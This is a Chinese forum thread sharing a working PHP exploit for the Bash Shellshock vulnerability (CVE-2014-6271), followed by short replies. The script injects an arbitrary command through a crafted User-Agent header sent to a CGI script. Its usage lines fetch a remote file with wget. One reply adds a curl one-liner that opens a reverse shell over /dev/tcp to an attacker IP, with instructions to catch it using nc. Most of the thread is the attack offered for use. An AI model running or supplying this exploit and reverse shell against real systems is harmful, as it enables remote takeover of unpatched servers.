[CVE-2014-6271]Bash远程执行漏洞（附exploit）

C4r1st

http://www.exploit-db.com/exploits/34766/
使用方法：php bash.php -u http://localhost/cgi-bin/hello -c "wget http://xx.xxx -O /tmp/shit"

[AppleScript] 纯文本查看 复制代码

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: [url]http://www.gnu.org/software/bash/[/url]
Author: Prakhar Prasad && Subho Halder
Author Homepage: [url]http://prakharprasad.com[/url] && [url]http://appknox.com[/url]
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget [url]http://appknox.com[/url] -O /tmp/shit"
Reference: [url]http://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/[/url]
 
Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable"
 
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
 
}
$url = $x['u'];
$cmd = $x['c'];
 
    $context = stream_context_create(
        array(
            'http' => array(
                'method'  => 'GET',
                'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
            )
        )
    );
     
    if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n");
    else
    die("Connection Error\n");
?>

相关链接：
http://marc.info/?l=oss-security&m=141157106132018&w=2
http://www.reddit.com/r/netsec/c ... ution_through_bash/
http://securityblog.redhat.com/2 ... e-injection-attack/
http://seclists.org/oss-sec/2014/q3/650
http://blog.erratasec.com/2014/0 ... d.html#.VCNKRufIZWN
http://pastebin.com/8NRv7s1Z
http://pastebin.com/kQ5ppEZD
http://www.csoonline.com/article ... -cve-2014-6271.html
http://permalink.gmane.org/gmane ... ;utm_medium=twitter

PS：ModSecurity声称已经针对CVE-2014-6271完善了过滤规则。

终古闲情归落照

收下了，谢谢，楼主

岛主黄药师

谢谢 收下了  ：）

ansbase

Please Tell Us，How to use it？

C4r1st

ansbase 发表于 2014-9-26 08:17
Please Tell Us，How to use it？

[AppleScript] 纯文本查看 复制代码

curl [url]http://xxx.xxx.xxx.xxx/cgi-bin/vulnerable[/url] -A "() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP/PORT 0>&1"

reverse_shell_ip换成你的外网ip，port端口，nc监听

蓝色_

没人点赞就是你们的不对了

fl0at

感谢分享!

葬訫

非常好，继续努力

ghostman

要把自己的文件丢网上啊、？

heiwu98

感谢LZ分享！去学学习习！